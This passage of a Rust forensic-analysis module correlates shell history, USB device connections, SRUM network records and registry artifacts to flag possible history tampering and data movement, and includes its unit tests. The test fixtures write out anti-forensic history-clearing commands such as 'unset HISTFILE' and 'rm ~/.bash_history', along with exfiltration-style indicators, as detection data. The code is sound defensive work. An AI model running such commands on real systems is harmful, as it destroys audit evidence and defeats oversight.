898            *volume_serial
899        }
900        _ => return None,
901    };
902    if structured.is_some() {
903        return structured;
904    }
905    for tok in activity.detail.split_whitespace() {
906        if let Some(rest) = tok.strip_prefix("vol:") {
907            if let Ok(serial) = rest.parse::<u32>() {
908                return Some(serial);
909            }
910        }
911    }
912    None
913}
914
915/// Audit a merged timeline for cross-source user-activity findings.
916///
917/// Emits hedged, low-false-positive observations achievable from the v0.1 sources:
918///
919/// - `USERACT-EXEC-DURING-REMOVABLE-MEDIA` — a shell command executed within
920///   [`REMOVABLE_MEDIA_WINDOW_SECS`] of a removable mass-storage device connection
921///   (temporal cross-source join). Consistent with activity involving external
922///   media (MITRE T1052 / T1091).
923/// - `USERACT-HISTORY-TAMPERED` — a history-clearing activity present in the
924///   timeline (re-surfaced at the user-activity layer; MITRE T1070.003).
925///
926/// Every finding is an observation, never a verdict.
927#[must_use]
928pub fn audit(events: &[UserActivity]) -> Vec<Finding> {
929    audit_with(events, &source("host"))
930}
931
932/// [`audit`] with a caller-supplied [`Source`] stamp (scope/version).
933#[must_use]
934pub fn audit_with(events: &[UserActivity], src: &Source) -> Vec<Finding> {
935    let mut findings = Vec::new();
936
937    // Removable mass-storage connection windows: (epoch, device id).
938    //
939    // Eligibility is derived structurally from the device instance id's leading
940    // enumerator token (`USBSTOR`, `USB`, `SD`, `SCSI`, …) via the published
941    // `peripheral_core::Bus` classifier — not a hardcoded device list — so any
942    // mass-storage member of the class qualifies and HID/Bluetooth/MTP devices do
943    // not.
944    let media_windows: Vec<(i64, &str)> = events
945        .iter()
946        .filter_map(|e| match (&e.action, &e.subject, e.timestamp) {
947            (Action::Connected, Subject::Device { id, .. }, Some(ts)) if is_mass_storage_id(id) => {
948                Some((ts, id.as_str()))
949            }
950            _ => None,
951        })
952        .collect();
953
954    // USERACT-FILE-ON-EXTERNAL-DEVICE — a file/folder accessed on a volume whose
955    // serial matches a connected external device (the volume-serial join).
956    for (di, fi) in device_file_volume_joins(events) {
957        findings.push(file_on_external_device_finding(
958            &events[di],
959            &events[fi],
960            src,
961        ));
962    }
963
964    for event in events {
965        // USERACT-HISTORY-TAMPERED — re-surface the clearing signal here.
966        if event.action == Action::HistoryTampered {
967            findings.push(history_tampered_finding(event, src));
968            continue;
969        }
970
971        // USERACT-NETWORK-EXFIL-VOLUME — a SRUM network row whose per-interval
972        // bytes_sent crosses the conservative threshold (graded lead, not a verdict).
973        if event.source == SourceKind::Srum {
974            if let Some(bytes_sent) = srum_network_bytes_sent(event) {
975                if bytes_sent >= NETWORK_EXFIL_BYTES_THRESHOLD {
976                    findings.push(network_exfil_volume_finding(event, bytes_sent, src));
977                }
978            }
979        }
980
981        // USERACT-EXEC-DURING-REMOVABLE-MEDIA — temporal cross-source join.
982        if let (Action::Executed, Some(ts), Subject::Command(cmd)) =
983            (event.action, event.timestamp, &event.subject)
984        {
985            if let Some((win_ts, dev_id)) = media_windows
986                .iter()
987                .find(|(dev_ts, _)| (ts - dev_ts).abs() <= REMOVABLE_MEDIA_WINDOW_SECS)
988            {
989                findings.push(exec_during_media_finding(cmd, ts, *win_ts, dev_id, src));
990            }
991        }
992    }
993
994    findings
995}
996
997/// Is this device instance id a removable mass-storage transport?
998///
999/// Classifies the leading enumerator token (the part before the first `\`) with the
1000/// published [`peripheral_core::Bus`] classifier. A bare id with no separator is
1001/// treated as its own enumerator. Structural, not a device allow-list.
1002fn is_mass_storage_id(instance_id: &str) -> bool {
1003    let enumerator = instance_id.split('\\').next().unwrap_or(instance_id);
1004    Bus::from_enumerator(enumerator).is_mass_storage()
1005}
1006
1007fn history_tampered_finding(event: &UserActivity, src: &Source) -> Finding {
1008    let cmd = match &event.subject {
1009        Subject::Command(c) => c.as_str(),
1010        _ => event.detail.as_str(),
1011    };
1012    Finding::observation(
1013        Severity::Medium,
1014        Category::Concealment,
1015        "USERACT-HISTORY-TAMPERED",
1016    )
1017    .source(src.clone())
1018    .note(format!(
1019        "user activity {cmd:?} disables or clears the activity record; consistent with \
1020             anti-forensic history tampering (MITRE T1070.003)"
1021    ))
1022    .evidence("command", cmd.to_string())
1023    .external_ref(ExternalRef::mitre_attack("T1070.003"))
1024    .build()
1025}
1026
1027fn exec_during_media_finding(
1028    cmd: &str,
1029    cmd_ts: i64,
1030    dev_ts: i64,
1031    dev_id: &str,
1032    src: &Source,
1033) -> Finding {
1034    Finding::observation(
1035        Severity::Low,
1036        Category::Threat,
1037        "USERACT-EXEC-DURING-REMOVABLE-MEDIA",
1038    )
1039    .source(src.clone())
1040    .note(format!(
1041        "the command {cmd:?} ran within {REMOVABLE_MEDIA_WINDOW_SECS}s of removable mass-storage \
1042         device {dev_id:?} being connected; consistent with activity involving external media \
1043         (MITRE T1052 / T1091)"
1044    ))
1045    .evidence("command", cmd.to_string())
1046    .evidence("device", dev_id.to_string())
1047    .evidence("command_epoch", cmd_ts.to_string())
1048    .evidence("device_epoch", dev_ts.to_string())
1049    .external_ref(ExternalRef::mitre_attack("T1052"))
1050    .external_ref(ExternalRef::mitre_attack("T1091"))
1051    .build()
1052}
1053
1054/// Recover the `bytes_sent` value a SRUM network-usage activity advertises in its
1055/// `detail` (the `<n>\u{2191} …` prefix [`from_srum`] writes). Returns `None` for
1056/// any non-network SRUM activity (e.g. an app-usage row).
1057fn srum_network_bytes_sent(activity: &UserActivity) -> Option<u64> {
1058    let prefix = activity.detail.split('\u{2191}').next()?;
1059    prefix.trim().parse::<u64>().ok()
1060}
1061
1062fn network_exfil_volume_finding(event: &UserActivity, bytes_sent: u64, src: &Source) -> Finding {
1063    let app = match &event.subject {
1064        Subject::Command(c) => c.as_str(),
1065        _ => event.detail.as_str(), // cov:unreachable: caller is a SRUM network row, always Subject::Command
1066    };
1067    let actor = event.actor.as_deref().unwrap_or("(unattributed)");
1068    Finding::observation(
1069        Severity::Medium,
1070        Category::Threat,
1071        "USERACT-NETWORK-EXFIL-VOLUME",
1072    )
1073    .source(src.clone())
1074    .note(format!(
1075        "SRUM records {bytes_sent} bytes sent in one interval by {app:?} attributed to user \
1076         {actor:?}; the volume exceeds the {NETWORK_EXFIL_BYTES_THRESHOLD}-byte lead threshold and \
1077         is consistent with bulk data exfiltration (MITRE T1048 / T1052) — a graded lead for the \
1078         examiner, not a verdict"
1079    ))
1080    .evidence("application", app.to_string())
1081    .evidence("actor", actor.to_string())
1082    .evidence("bytes_sent", bytes_sent.to_string())
1083    .external_ref(ExternalRef::mitre_attack("T1048"))
1084    .external_ref(ExternalRef::mitre_attack("T1052"))
1085    .build()
1086}
1087
1088fn file_on_external_device_finding(
1089    device: &UserActivity,
1090    file: &UserActivity,
1091    src: &Source,
1092) -> Finding {
1093    let path = match &file.subject {
1094        Subject::File { path, .. } | Subject::Folder { path, .. } => path.as_str(),
1095        _ => file.detail.as_str(), // cov:unreachable: join only pairs File/Folder subjects here
1096    };
1097    let dev_id = match &device.subject {
1098        Subject::Device { id, .. } => id.as_str(),
1099        _ => device.detail.as_str(), // cov:unreachable: join only pairs Device subjects here
1100    };
1101    let serial = match &device.subject {
1102        Subject::Device {
1103            volume_serial: Some(s),
1104            ..
1105        } => *s,
1106        _ => 0, // cov:unreachable: join requires Device { volume_serial: Some(_) }
1107    };
1108    Finding::observation(
1109        Severity::Medium,
1110        Category::Threat,
1111        "USERACT-FILE-ON-EXTERNAL-DEVICE",
1112    )
1113    .source(src.clone())
1114    .note(format!(
1115        "a user accessed {path:?} on a volume (serial {serial:#010x}) whose serial matches the \
1116         connected external device {dev_id:?}; consistent with data movement to/from removable \
1117         media (MITRE T1052 / T1091)"
1118    ))
1119    .evidence("file", path.to_string())
1120    .evidence("device", dev_id.to_string())
1121    .evidence("volume_serial", format!("{serial:#010x}"))
1122    .external_ref(ExternalRef::mitre_attack("T1052"))
1123    .external_ref(ExternalRef::mitre_attack("T1091"))
1124    .build()
1125}
1126
1127#[cfg(test)]
1128mod tests {
1129    use super::*;
1130    use peripheral_core::{Bus, Provenance, Stamp};
1131    use shellhist_core::{HistoryEntry, Shell};
1132
1133    fn entry(cmd: &str, ts: Option<i64>) -> HistoryEntry {
1134        HistoryEntry {
1135            shell: Shell::Bash,
1136            command: cmd.to_string(),
1137            timestamp: ts,
1138            elapsed: None,
1139            paths: Vec::new(),
1140        }
1141    }
1142
1143    fn device(
1144        instance_id: &str,
1145        bus: Bus,
1146        first_install: Option<i64>,
1147        vol: Option<u32>,
1148    ) -> DeviceConnection {
1149        DeviceConnection {
1150            bus,
1151            device_class_guid: None,
1152            vid: None,
1153            pid: None,
1154            device_serial: None,
1155            serial_is_os_generated: false,
1156            friendly_name: None,
1157            device_instance_id: instance_id.to_string(),
1158            first_install: first_install.map(Stamp::authoritative),
1159            last_install: None,
1160            last_arrival: None,
1161            last_removal: None,
1162            parent_id_prefix: None,
1163            volume_guid: None,
1164            drive_letter: None,
1165            volume_serial: vol,
1166            disk_signature: None,
1167            dma_capable: bus.is_dma_capable(),
1168            mitre: Vec::new(),
1169            source: Provenance {
1170                file: "setupapi.dev.log".to_string(),
1171                line: 1,
1172            },
1173        }
1174    }
1175
1176    // ── from_shell_history ────────────────────────────────────────────────────
1177
1178    #[test]
1179    fn shell_command_becomes_executed_activity() {
1180        let entries = [entry("ls -la /tmp", Some(1_700_000_000))];
1181        let acts = from_shell_history(&entries, None);
1182        assert_eq!(acts.len(), 1);
1183        assert_eq!(acts[0].action, Action::Executed);
1184        assert_eq!(acts[0].source, SourceKind::ShellHistory);
1185        assert_eq!(acts[0].timestamp, Some(1_700_000_000));
1186        assert_eq!(acts[0].subject, Subject::Command("ls -la /tmp".to_string()));
1187        assert_eq!(acts[0].actor, None);
1188    }
1189
1190    #[test]
1191    fn shell_actor_is_carried_when_known() {
1192        let entries = [entry("whoami", None)];
1193        let acts = from_shell_history(&entries, Some("alice"));
1194        assert_eq!(acts[0].actor.as_deref(), Some("alice"));
1195    }
1196
1197    #[test]
1198    fn history_clearing_command_becomes_tampered() {
1199        for cmd in [
1200            "unset HISTFILE",
1201            "history -c",
1202            "export HISTFILE=/dev/null",
1203            "Clear-History",
1204            "rm ~/.bash_history",
1205        ] {
1206            let entries = [entry(cmd, Some(1))];
1207            let acts = from_shell_history(&entries, None);
1208            assert_eq!(acts[0].action, Action::HistoryTampered);
1209        }
1210    }
1211
1212    #[test]
1213    fn benign_command_is_not_tampered() {
1214        let entries = [entry("git log --oneline", Some(1))];
1215        let acts = from_shell_history(&entries, None);
1216        assert_eq!(acts[0].action, Action::Executed);
1217    }
1218
1219    // ── from_device_connections ───────────────────────────────────────────────
1220
1221    #[test]
1222    fn device_becomes_connected_with_volume_serial() {
1223        let conns = [device(
1224            "USBSTOR\\Disk&Ven_SanDisk\\1234567890AB",
1225            Bus::Usb,
1226            Some(1_700_000_500),
1227            Some(0xDEAD_BEEF),
1228        )];
1229        let acts = from_device_connections(&conns);
1230        assert_eq!(acts.len(), 1);
1231        assert_eq!(acts[0].action, Action::Connected);
1232        assert_eq!(acts[0].source, SourceKind::PeripheralDevice);
1233        assert_eq!(acts[0].timestamp, Some(1_700_000_500));
1234        assert_eq!(
1235            acts[0].subject,
1236            Subject::Device {
1237                id: "USBSTOR\\Disk&Ven_SanDisk\\1234567890AB".to_string(),
1238                volume_serial: Some(0xDEAD_BEEF),
1239            }
1240        );
1241    }
1242
1243    #[test]
1244    fn device_timestamp_falls_back_through_stamps() {
1245        let mut conn = device("USB\\VID_0781", Bus::Usb, None, None);
1246        conn.last_arrival = Some(Stamp::inferred(42));
1247        let acts = from_device_connections(&[conn]);
1248        assert_eq!(acts[0].timestamp, Some(42));
1249    }
1250
1251    #[test]
1252    fn device_without_any_stamp_has_no_timestamp() {
1253        let conn = device("USB\\VID_0781", Bus::Usb, None, None);
1254        let acts = from_device_connections(&[conn]);
1255        assert_eq!(acts[0].timestamp, None);
1256    }
1257
1258    // ── build_timeline ────────────────────────────────────────────────────────
1259
1260    #[test]
1261    fn timeline_merges_and_sorts_by_timestamp() {
1262        let entries = [entry("late", Some(300)), entry("early", Some(100))];
1263        let conns = [device("USBSTOR\\x", Bus::Usb, Some(200), None)];
1264        let shell = ShellHistorySource::new(&entries);
1265        let devices = DeviceSource::new(&conns);
1266        let tl = build_timeline(&[&shell, &devices]);
1267        let ts: Vec<Option<i64>> = tl.iter().map(|e| e.timestamp).collect();
1268        assert_eq!(ts, vec![Some(100), Some(200), Some(300)]);
1269    }
1270
1271    #[test]
1272    fn timeline_orders_untimestamped_events_last_and_stably() {
1273        let entries = [
1274            entry("no_ts_a", None),
1275            entry("ts", Some(50)),
1276            entry("no_ts_b", None),
1277        ];
1278        let shell = ShellHistorySource::new(&entries);
1279        let tl = build_timeline(&[&shell]);
1280        assert_eq!(tl[0].timestamp, Some(50));
1281        assert_eq!(tl[1].detail, "no_ts_a");
1282        assert_eq!(tl[2].detail, "no_ts_b");
1283    }
1284
1285    // ── audit: USERACT-HISTORY-TAMPERED ───────────────────────────────────────
1286
1287    #[test]
1288    fn audit_surfaces_history_tampered() {
1289        let entries = [entry("unset HISTFILE", Some(10))];
1290        let acts = from_shell_history(&entries, None);
1291        let findings = audit(&acts);
1292        let f = findings
1293            .iter()
1294            .find(|f| f.code == "USERACT-HISTORY-TAMPERED")
1295            .expect("history-tampered finding must fire");
1296        assert_eq!(f.severity, Some(Severity::Medium));
1297        assert_eq!(f.category, Category::Concealment);
1298    }
1299
1300    // ── audit: USERACT-EXEC-DURING-REMOVABLE-MEDIA ────────────────────────────
1301
1302    #[test]
1303    fn audit_fires_exec_during_removable_media_within_window() {
1304        let entries = [entry("tar czf /media/usb/out.tgz .", Some(1_000))];
1305        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1_500), None)];
1306        let shell = ShellHistorySource::new(&entries);
1307        let devices = DeviceSource::new(&conns);
1308        let tl = build_timeline(&[&shell, &devices]);
1309        let findings = audit(&tl);
1310        assert!(findings
1311            .iter()
1312            .any(|f| f.code == "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
1313    }
1314
1315    #[test]
1316    fn audit_does_not_fire_outside_window() {
1317        let entries = [entry("ls", Some(1_000))];
1318        let conns = [device(
1319            "USBSTOR\\Disk",
1320            Bus::Usb,
1321            Some(1_000 + REMOVABLE_MEDIA_WINDOW_SECS + 1),
1322            None,
1323        )];
1324        let shell = ShellHistorySource::new(&entries);
1325        let devices = DeviceSource::new(&conns);
1326        let tl = build_timeline(&[&shell, &devices]);
1327        let findings = audit(&tl);
1328        assert!(findings
1329            .iter()
1330            .all(|f| f.code != "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
1331    }
1332
1333    #[test]
1334    fn audit_does_not_fire_for_non_mass_storage_device() {
1335        // A Bluetooth HID device is NOT mass storage → no exec-during-media finding.
1336        let entries = [entry("ls", Some(1_000))];
1337        let conns = [device("BTHENUM\\Dev", Bus::Bluetooth, Some(1_000), None)];
1338        let shell = ShellHistorySource::new(&entries);
1339        let devices = DeviceSource::new(&conns);
1340        let tl = build_timeline(&[&shell, &devices]);
1341        let findings = audit(&tl);
1342        assert!(findings
1343            .iter()
1344            .all(|f| f.code != "USERACT-EXEC-DURING-REMOVABLE-MEDIA"));
1345    }
1346
1347    #[test]
1348    fn audit_with_custom_source_stamps_scope() {
1349        let entries = [entry("history -c", Some(1))];
1350        let acts = from_shell_history(&entries, None);
1351        let findings = audit_with(&acts, &source("CASE-001/host-7"));
1352        let f = &findings[0];
1353        assert_eq!(f.source.scope, "CASE-001/host-7");
1354        assert_eq!(f.source.analyzer, "useract-forensic");
1355    }
1356
1357    // ── findings are observations, never verdicts ─────────────────────────────
1358
1359    #[test]
1360    fn findings_are_hedged_observations_never_verdicts() {
1361        let entries = [
1362            entry("unset HISTFILE", Some(1_000)),
1363            entry("cp x /media/usb", Some(1_010)),
1364        ];
1365        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1_005), None)];
1366        let shell = ShellHistorySource::new(&entries);
1367        let devices = DeviceSource::new(&conns);
1368        let tl = build_timeline(&[&shell, &devices]);
1369        let findings = audit(&tl);
1370        assert!(!findings.is_empty());
1371        for f in &findings {
1372            let note = f.note.to_ascii_lowercase();
1373            assert!(!note.contains("proves"));
1374            assert!(!note.contains("confirms"));
1375            assert!(!note.contains("definitely"));
1376            assert!(note.contains("consistent with"));
1377        }
1378    }
1379
1380    // ── volume-serial join seam (v0.2 activation, proven by construction) ──────
1381
1382    #[test]
1383    fn volume_serial_join_is_empty_for_v01_sources() {
1384        // v0.1 emits no File/Folder subjects carrying a volume serial → no joins.
1385        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1386        let acts = from_device_connections(&conns);
1387        assert!(device_file_volume_joins(&acts).is_empty());
1388    }
1389
1390    #[test]
1391    fn volume_serial_join_lights_up_for_a_v02_style_file_event() {
1392        // A synthetic v0.2-shape File activity advertising the same volume serial as
1393        // a connected device joins to it — proving the seam is correct by construction.
1394        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1395        let mut acts = from_device_connections(&conns);
1396        acts.push(UserActivity {
1397            timestamp: Some(2),
1398            actor: None,
1399            action: Action::Accessed,
1400            subject: Subject::file("\\\\?\\E:\\secret.docx"),
1401            source: SourceKind::PeripheralDevice, // placeholder
1402            detail: "opened E:\\secret.docx vol:4660".to_string(), // 0x1234 == 4660
1403        });
1404        let joins = device_file_volume_joins(&acts);
1405        assert_eq!(joins, vec![(0, 1)]);
1406    }
1407
1408    #[test]
1409    fn volume_serial_join_ignores_mismatched_serials() {
1410        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1411        let mut acts = from_device_connections(&conns);
1412        acts.push(UserActivity {
1413            timestamp: Some(2),
1414            actor: None,
1415            action: Action::Accessed,
1416            subject: Subject::file("x"),
1417            source: SourceKind::PeripheralDevice,
1418            detail: "vol:9999".to_string(),
1419        });
1420        assert!(device_file_volume_joins(&acts).is_empty());
1421    }
1422
1423    #[test]
1424    fn volume_serial_join_skips_files_without_a_volume_token() {
1425        // A folder activity that advertises no `vol:` token never joins (the
1426        // file_volume_serial None path).
1427        let conns = [device("USBSTOR\\Disk", Bus::Usb, Some(1), Some(0x1234))];
1428        let mut acts = from_device_connections(&conns);
1429        acts.push(UserActivity {
1430            timestamp: Some(2),
1431            actor: None,
1432            action: Action::Accessed,
1433            subject: Subject::folder("E:\\photos"),
1434            source: SourceKind::PeripheralDevice,
1435            detail: "opened folder with no serial hint".to_string(),
1436        });
1437        // And a file whose `vol:` token is non-numeric (parse Err path) also never joins.
1438        acts.push(UserActivity {
1439            timestamp: Some(3),
1440            actor: None,
1441            action: Action::Accessed,
1442            subject: Subject::file("E:\\x"),
1443            source: SourceKind::PeripheralDevice,
1444            detail: "vol:notanumber".to_string(),
1445        });
1446        assert!(device_file_volume_joins(&acts).is_empty());
1447    }
1448
1449    #[test]
1450    fn history_tampered_finding_falls_back_to_detail_for_non_command_subject() {
1451        // Defensive: a HistoryTampered activity whose subject is not a Command still
1452        // produces a finding, using detail for the command text.
1453        let act = UserActivity {
1454            timestamp: Some(1),
1455            actor: None,
1456            action: Action::HistoryTampered,
1457            subject: Subject::file("ConsoleHost_history.txt"),
1458            source: SourceKind::ShellHistory,
1459            detail: "Remove-Item ConsoleHost_history.txt".to_string(),
1460        };
1461        let findings = audit(&[act]);
1462        assert_eq!(findings.len(), 1);
1463        assert_eq!(findings[0].code, "USERACT-HISTORY-TAMPERED");
1464        assert!(findings[0]
1465            .note
1466            .contains("Remove-Item ConsoleHost_history.txt"));
1467    }
1468
1469    #[test]
1470    fn is_mass_storage_id_classifies_bare_and_separated_ids() {
1471        assert!(is_mass_storage_id("USBSTOR\\Disk&Ven"));
1472        assert!(is_mass_storage_id("USBSTOR"));
1473        assert!(!is_mass_storage_id("BTHENUM\\Dev"));
1474        assert!(!is_mass_storage_id(""));
1475    }
1476
1477    #[test]
1478    fn activitysource_trait_dispatches() {
1479        let entries = [entry("ls", Some(1))];
1480        let s = ShellHistorySource::for_actor(&entries, "bob");
1481        let acts: Vec<UserActivity> = s.activities();
1482        assert_eq!(acts[0].actor.as_deref(), Some("bob"));
1483    }
1484
1485    // ── SRUM adapter (v0.2) ───────────────────────────────────────────────────
1486
1487    use srum_core::{AppUsageRecord, IdMapEntry, NetworkUsageRecord};
1488
1489    fn utc(epoch: i64) -> chrono::DateTime<chrono::Utc> {
1490        chrono::DateTime::from_timestamp(epoch, 0).expect("valid epoch")
1491    }
1492
1493    #[test]
1494    fn srum_network_row_is_executed_and_actor_attributed() {
1495        // user_id and app_id are integers resolved through the id-map.
1496        let id_map = [
1497            IdMapEntry {
1498                id: 7,
1499                name: "S-1-5-21-1-2-3-1001".to_string(),
1500            },
1501            IdMapEntry {
1502                id: 42,
1503                name: "\\Device\\HarddiskVolume3\\Windows\\explorer.exe".to_string(),
1504            },
1505        ];
1506        let net = [NetworkUsageRecord {
1507            app_id: 42,
1508            user_id: 7,
1509            timestamp: utc(1_700_000_000),
1510            bytes_sent: 4096,
1511            bytes_recv: 1024,
1512            auto_inc_id: 0,
1513        }];
1514        let acts = from_srum(&net, &[], &id_map);
1515        assert_eq!(acts.len(), 1);
1516        let a = &acts[0];
1517        assert_eq!(a.action, Action::Executed);
1518        assert_eq!(a.source, SourceKind::Srum);
1519        assert_eq!(a.timestamp, Some(1_700_000_000));
1520        // First source that ATTRIBUTES to a specific user SID.
1521        assert_eq!(a.actor.as_deref(), Some("S-1-5-21-1-2-3-1001"));
1522        // App resolves through the id-map.
1523        assert_eq!(
1524            a.subject,
1525            Subject::Command("\\Device\\HarddiskVolume3\\Windows\\explorer.exe".to_string())
1526        );
1527        // Network volume surfaced in the detail.
1528        assert!(a.detail.contains("4096"));
1529        assert!(a.detail.contains("1024"));
1530    }
1531
1532    #[test]
1533    fn srum_unresolved_user_id_falls_back_to_numeric_token() {
1534        // No id-map entry for the user → actor is a stable synthetic token, never lost.
1535        let net = [NetworkUsageRecord {
1536            app_id: 1,
1537            user_id: 99,
1538            timestamp: utc(10),
1539            bytes_sent: 1,
1540            bytes_recv: 2,
1541            auto_inc_id: 0,
1542        }];
1543        let acts = from_srum(&net, &[], &[]);
1544        assert_eq!(acts.len(), 1);
1545        assert_eq!(acts[0].actor.as_deref(), Some("user-id:99"));
1546        // App also falls back when unresolved.
1547        assert_eq!(acts[0].subject, Subject::Command("app-id:1".to_string()));
1548    }
1549
1550    #[test]
1551    fn srum_app_usage_row_is_executed_and_actor_attributed() {
1552        let id_map = [
1553            IdMapEntry {
1554                id: 5,
1555                name: "S-1-5-21-9-9-9-500".to_string(),
1556            },
1557            IdMapEntry {
1558                id: 8,
1559                name: "C:\\Tools\\rclone.exe".to_string(),
1560            },
1561        ];
1562        let app = [AppUsageRecord {
1563            app_id: 8,
1564            user_id: 5,
1565            timestamp: utc(1_700_000_500),
1566            foreground_cycles: 900_000,
1567            background_cycles: 100,
1568            auto_inc_id: 0,
1569        }];
1570        let acts = from_srum(&[], &app, &id_map);
1571        assert_eq!(acts.len(), 1);
1572        assert_eq!(acts[0].action, Action::Executed);
1573        assert_eq!(acts[0].source, SourceKind::Srum);
1574        assert_eq!(acts[0].actor.as_deref(), Some("S-1-5-21-9-9-9-500"));
1575        assert_eq!(
1576            acts[0].subject,
1577            Subject::Command("C:\\Tools\\rclone.exe".to_string())
1578        );
1579    }
1580
1581    #[test]
1582    fn srum_source_adapter_dispatches() {
1583        let net = [NetworkUsageRecord {
1584            app_id: 1,
1585            user_id: 1,
1586            timestamp: utc(1),
1587            bytes_sent: 1,
1588            bytes_recv: 1,
1589            auto_inc_id: 0,
1590        }];
1591        let s = SrumSource::new(&net, &[], &[]);
1592        let acts = s.activities();
1593        assert_eq!(acts.len(), 1);
1594        assert_eq!(acts[0].source, SourceKind::Srum);
1595    }
1596
1597    // ── audit: USERACT-NETWORK-EXFIL-VOLUME (v0.2) ────────────────────────────
1598
1599    #[test]
1600    fn audit_fires_network_exfil_volume_above_threshold() {
1601        let id_map = [
1602            IdMapEntry {
1603                id: 7,
1604                name: "S-1-5-21-1-2-3-1001".to_string(),
1605            },
1606            IdMapEntry {
1607                id: 42,
1608                name: "rclone.exe".to_string(),
1609            },
1610        ];
1611        let net = [NetworkUsageRecord {
1612            app_id: 42,
1613            user_id: 7,
1614            timestamp: utc(1_700_000_000),
1615            bytes_sent: NETWORK_EXFIL_BYTES_THRESHOLD + 1,
1616            bytes_recv: 0,
1617            auto_inc_id: 0,
1618        }];
1619        let acts = from_srum(&net, &[], &id_map);
1620        let findings = audit(&acts);
1621        let f = findings
1622            .iter()
1623            .find(|f| f.code == "USERACT-NETWORK-EXFIL-VOLUME")
1624            .expect("network-exfil-volume must fire above threshold");
1625        assert_eq!(f.severity, Some(Severity::Medium));
1626        assert_eq!(f.category, Category::Threat);
1627    }
1628
1629    #[test]
1630    fn audit_does_not_fire_network_exfil_below_threshold() {
1631        let net = [NetworkUsageRecord {
1632            app_id: 1,
1633            user_id: 1,
1634            timestamp: utc(1),
1635            bytes_sent: NETWORK_EXFIL_BYTES_THRESHOLD - 1,
1636            bytes_recv: 0,
1637            auto_inc_id: 0,
1638        }];
1639        let acts = from_srum(&net, &[], &[]);
1640        let findings = audit(&acts);
1641        assert!(findings
1642            .iter()
1643            .all(|f| f.code != "USERACT-NETWORK-EXFIL-VOLUME"));
1644    }
1645
1646    #[test]
1647    fn audit_skips_exfil_check_for_srum_app_usage_rows() {
1648        // An app-usage SRUM row carries CPU cycles, not bytes, so its detail has no
1649        // bytes-sent prefix: the exfil check sees None and never fires (regardless
1650        // of how large the cycle counts are).
1651        let app = [AppUsageRecord {
1652            app_id: 1,
1653            user_id: 1,
1654            timestamp: utc(1),
1655            foreground_cycles: u64::MAX,
1656            background_cycles: u64::MAX,
1657            auto_inc_id: 0,
1658        }];
1659        let acts = from_srum(&[], &app, &[]);
1660        let findings = audit(&acts);
1661        assert!(findings
1662            .iter()
1663            .all(|f| f.code != "USERACT-NETWORK-EXFIL-VOLUME"));
1664    }
1665
1666    // ── winreg-artifacts adapter (v0.2) ───────────────────────────────────────
1667
1668    use winreg_artifacts::shellbags::ShellbagEntry;
1669    use winreg_artifacts::typed_urls::TypedUrl;
1670    use winreg_artifacts::userassist::UserAssistEntry;
1671
1672    fn ua(program: &str, run_count: u32, last_run: Option<&str>) -> UserAssistEntry {
1673        UserAssistEntry {
1674            program: program.to_string(),
1675            run_count,
1676            focus_count: 0,
1677            focus_duration_ms: 0,
1678            last_run: last_run.map(ToString::to_string),
1679            guid: "{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}".to_string(),
1680        }
1681    }
1682
1683    #[test]
1684    fn userassist_entry_becomes_executed_with_run_count() {
1685        let entries = [ua(
1686            "C:\\Windows\\System32\\cmd.exe",
1687            5,
1688            Some("2024-06-15T08:00:00Z"),
1689        )];
1690        let acts = from_userassist(&entries, Some("alice"));
1691        assert_eq!(acts.len(), 1);
1692        let a = &acts[0];
1693        assert_eq!(a.action, Action::Executed);
1694        assert_eq!(a.source, SourceKind::Registry);
1695        assert_eq!(
1696            a.subject,
1697            Subject::Command("C:\\Windows\\System32\\cmd.exe".to_string())
1698        );
1699        // ISO last_run is parsed to epoch (2024-06-15T08:00:00Z = 1718438400).
1700        assert_eq!(a.timestamp, Some(1_718_438_400));
1701        assert_eq!(a.actor.as_deref(), Some("alice"));
1702        // Run count carried in detail.
1703        assert!(a.detail.contains('5'));
1704    }
1705
1706    #[test]
1707    fn userassist_without_last_run_has_no_timestamp() {
1708        let entries = [ua("notepad.exe", 1, None)];
1709        let acts = from_userassist(&entries, None);
1710        assert_eq!(acts[0].timestamp, None);
1711        assert_eq!(acts[0].actor, None);
1712    }
1713
1714    #[test]
1715    fn typed_url_becomes_typed_activity() {
1716        let urls = [TypedUrl {
1717            url: "https://pastebin.com/abc".to_string(),
1718            last_visited: Some("2024-01-02T03:04:05Z".to_string()),
1719            is_suspicious: true,
1720            suspicious_reason: Some("suspicious domain: pastebin.com".to_string()),
1721        }];
1722        let acts = from_typed_urls(&urls, None);
1723        assert_eq!(acts.len(), 1);
1724        assert_eq!(acts[0].action, Action::Typed);
1725        assert_eq!(acts[0].source, SourceKind::Registry);
1726        assert_eq!(
1727            acts[0].subject,
1728            Subject::Query("https://pastebin.com/abc".to_string())
1729        );
1730        assert!(acts[0].timestamp.is_some());
1731    }
1732
1733    #[test]
1734    fn shellbag_becomes_accessed_folder() {
1735        let bags = [ShellbagEntry {
1736            path: "BagMRU[slot=0, size=120 bytes]".to_string(),
1737            key_path: "Software\\Microsoft\\Windows\\Shell\\BagMRU\\0".to_string(),
1738            last_written: Some("2024-03-04T05:06:07Z".to_string()),
1739            mru_order: vec!["0".to_string()],
1740        }];
1741        let acts = from_shellbags(&bags, Some("bob"));
1742        assert_eq!(acts.len(), 1);
1743        assert_eq!(acts[0].action, Action::Accessed);
1744        assert_eq!(acts[0].source, SourceKind::Registry);
1745        assert!(matches!(acts[0].subject, Subject::Folder { .. }));
1746        assert_eq!(acts[0].actor.as_deref(), Some("bob"));
1747    }
1748
1749    #[test]
1750    fn from_registry_merges_all_three_registry_artifacts() {
1751        let ua_entries = [ua("cmd.exe", 1, Some("2024-06-15T08:00:00Z"))];
1752        let urls = [TypedUrl {
1753            url: "https://x.test".to_string(),
1754            last_visited: None,
1755            is_suspicious: false,
1756            suspicious_reason: None,
1757        }];
1758        let bags = [ShellbagEntry {
1759            path: "BagMRU[slot=0, size=10 bytes]".to_string(),
1760            key_path: "k".to_string(),
1761            last_written: None,
1762            mru_order: vec![],
1763        }];
1764        let acts = from_registry(&ua_entries, &urls, &bags, Some("alice"));
1765        assert_eq!(acts.len(), 3);
